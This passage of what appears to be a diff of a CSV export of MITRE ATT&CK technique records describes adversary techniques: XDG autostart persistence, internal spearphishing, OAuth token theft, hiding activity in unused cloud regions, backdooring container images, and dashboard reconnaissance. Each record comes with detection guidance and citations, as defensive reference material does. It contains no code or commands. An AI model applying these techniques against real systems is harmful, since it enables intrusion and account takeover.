'https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html', 'source_name': 'Free Desktop Entry Keys'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/013,mitre-attack,T1547.013,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,XDG Autostart Entries,"Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006) +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-580,https://capec.mitre.org/data/definitions/580.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/013', 'external_id': 'T1547.013'}, {'source_name': 'Free Desktop Application Autostart Feb 2006', 'description': 'Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.', 'url': 'https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html'}, {'source_name': 'Free Desktop Entry Keys', 'description': 'Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.', 'url': 'https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html'}]",1.0,attack-pattern,attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-10T18:13:12.195Z,2020-11-10T15:55:10.103Z,XDG Autostart Entries,"Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006) Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys) -Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.",attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11,attack-pattern,"['persistence', 'privilege-escalation']",2020-11-10T15:55:10.103Z,2019-09-10T18:13:12.195Z,"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline. +Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/013,mitre-attack,T1547.013,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tony Lambert, Red Canary']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline. -Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']","['Tony Lambert, Red Canary']",,"['User', 'root']",['Linux'],,,,,,,,,,,,,, -"[{'external_id': 'T1534', 'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1534'}, {'description': 'Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.', 'url': 'https://blog.trendmicro.com/phishing-starts-inside/', 'source_name': 'Trend Micro When Phishing Starts from the Inside 2017'}, {'description': 'THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.', 'url': 'https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6', 'source_name': 'THE FINANCIAL TIMES LTD 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.1,False,https://attack.mitre.org/techniques/T1534,mitre-attack,T1534,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Internal Spearphishing,"Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017) +Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.",True,"['User', 'root']",['Linux'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1534', 'external_id': 'T1534'}, {'source_name': 'Trend Micro When Phishing Starts from the Inside 2017', 'description': 'Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.', 'url': 'https://blog.trendmicro.com/phishing-starts-inside/'}, {'source_name': 'THE FINANCIAL TIMES LTD 2019.', 'description': 'THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.', 'url': 'https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6'}]",1.1,attack-pattern,attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T19:26:12.441Z,2021-04-14T14:32:14.273Z,Internal Spearphishing,"Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017) Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces. -There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)",attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747,attack-pattern,['lateral-movement'],2021-04-14T14:32:14.273Z,2019-09-04T19:26:12.441Z,"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Tim MalcomVetter', 'Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']",,['User'],"['Windows', 'macOS', 'Linux', 'Office 365', 'SaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'url': 'https://attack.mitre.org/techniques/T1528', 'source_name': 'mitre-attack', 'external_id': 'T1528'}, {'description': 'Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', 'url': 'https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/', 'source_name': 'Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019'}, {'description': 'Microsoft. (n.d.). Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols', 'source_name': 'Microsoft Identity Platform Protocols May 2019'}, {'description': 'Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow', 'source_name': 'Microsoft - OAuth Code Authorization flow - June 2019'}, {'description': 'Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app', 'source_name': 'Microsoft - Azure AD App Registration - May 2019'}, {'description': 'Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens', 'source_name': 'Microsoft - Azure AD Identity Tokens - Aug 2019'}, {'description': 'Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.', 'url': 'https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/', 'source_name': 'Amnesty OAuth Phishing Attacks, August 2019'}, {'description': 'Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks', 'source_name': 'Trend Micro Pawn Storm OAuth 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,False,https://attack.mitre.org/techniques/T1528,mitre-attack,T1528,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Steal Application Access Token,"Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. +There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)",['lateral-movement'],https://attack.mitre.org/techniques/T1534,mitre-attack,T1534,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tim MalcomVetter', 'Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)",False,['User'],"['Windows', 'macOS', 'Linux', 'Office 365', 'SaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1528', 'external_id': 'T1528'}, {'source_name': 'Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019', 'description': 'Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', 'url': 'https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/'}, {'source_name': 'Microsoft Identity Platform Protocols May 2019', 'description': 'Microsoft. (n.d.). Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols'}, {'source_name': 'Microsoft - OAuth Code Authorization flow - June 2019', 'description': 'Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow'}, {'source_name': 'Microsoft - Azure AD App Registration - May 2019', 'description': 'Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app'}, {'source_name': 'Microsoft - Azure AD Identity Tokens - Aug 2019', 'description': 'Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens'}, {'source_name': 'Amnesty OAuth Phishing Attacks, August 2019', 'description': 'Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.', 'url': 'https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/'}, {'source_name': 'Trend Micro Pawn Storm OAuth 2017', 'description': 'Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks'}]",1.1,attack-pattern,attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T15:54:25.684Z,2021-04-14T17:56:17.311Z,Steal Application Access Token,"Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) -Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)",attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a,attack-pattern,['credential-access'],2021-04-14T17:56:17.311Z,2019-09-04T15:54:25.684Z,"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. +Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)",['credential-access'],https://attack.mitre.org/techniques/T1528,mitre-attack,T1528,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']",['User Account: User Account Modification'],,"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps. -Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",['User Account: User Account Modification'],"['Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']",,['User'],"['SaaS', 'Office 365', 'Azure AD', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1535', 'url': 'https://attack.mitre.org/techniques/T1535'}, {'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc', 'source_name': 'CloudSploit - Unused AWS Regions'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1535,mitre-attack,T1535,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Unused/Unsupported Cloud Regions,"Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. +Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",False,['User'],"['SaaS', 'Office 365', 'Azure AD', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1535', 'external_id': 'T1535'}, {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'}]",1.1,attack-pattern,attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T14:35:04.617Z,2021-04-22T16:46:43.876Z,Unused/Unsupported Cloud Regions,"Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. -An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)",attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761,attack-pattern,['defense-evasion'],2021-04-22T16:46:43.876Z,2019-09-04T14:35:04.617Z,Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions),['Instance: Instance Creation'],['Netskope'],,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1525', 'url': 'https://attack.mitre.org/techniques/T1525'}, {'source_name': 'Rhino Labs Cloud Image Backdoor Technique Sept 2019', 'url': 'https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/', 'description': 'Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.'}, {'source_name': 'Rhino Labs Cloud Backdoor September 2019', 'url': 'https://github.com/RhinoSecurityLabs/ccat', 'description': 'Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,False,https://attack.mitre.org/techniques/T1525,mitre-attack,T1525,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Implant Internal Image,"Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) +An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)",['defense-evasion'],https://attack.mitre.org/techniques/T1535,mitre-attack,T1535,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Netskope'],['Instance: Instance Creation'],,Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions),False,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1525', 'external_id': 'T1525'}, {'source_name': 'Rhino Labs Cloud Image Backdoor Technique Sept 2019', 'description': 'Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.', 'url': 'https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/'}, {'source_name': 'Rhino Labs Cloud Backdoor September 2019', 'description': 'Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.', 'url': 'https://github.com/RhinoSecurityLabs/ccat'}]",2.0,attack-pattern,attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T12:04:03.552Z,2021-04-12T18:28:27.948Z,Implant Internal Image,"Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) -A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f,attack-pattern,['persistence'],2021-04-12T18:28:27.948Z,2019-09-04T12:04:03.552Z,"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. +A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",['persistence'],https://attack.mitre.org/techniques/T1525,mitre-attack,T1525,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Praetorian']","['Image: Image Creation', 'Image: Image Modification']",,"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. -In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ","['Image: Image Creation', 'Image: Image Modification']","['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Praetorian']",,['User'],"['IaaS', 'Containers']",,,,,,,,,,,,,, -"[{'external_id': 'T1538', 'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1538'}, {'source_name': 'Google Command Center Dashboard', 'url': 'https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard', 'description': 'Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.'}, {'source_name': 'AWS Console Sign-in Events', 'url': 'https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html', 'description': 'Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,False,https://attack.mitre.org/techniques/T1538,mitre-attack,T1538,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Service Dashboard,"An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard) +In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ",False,['User'],"['IaaS', 'Containers']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1538', 'external_id': 'T1538'}, {'source_name': 'Google Command Center Dashboard', 'description': 'Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.', 'url': 'https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard'}, {'source_name': 'AWS Console Sign-in Events', 'description': 'Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.', 'url': 'https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html'}]",1.1,attack-pattern,attack-pattern--e49920b0-6c54-40c1-9571-73723653205f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T18:11:24.582Z,2021-03-16T12:56:36.098Z,Cloud Service Dashboard,"An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard) -Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.",attack-pattern--e49920b0-6c54-40c1-9571-73723653205f,attack-pattern,['discovery'],2021-03-16T12:56:36.098Z,2019-08-30T18:11:24.582Z,"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",['Praetorian'],,['User'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'external_id': 'T1530', 'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1530'}, {'source_name': 'Amazon S3 Security, 2019', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/', 'description': 'Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.'}, {'source_name': 'Microsoft Azure Storage Security, 2019', 'url': 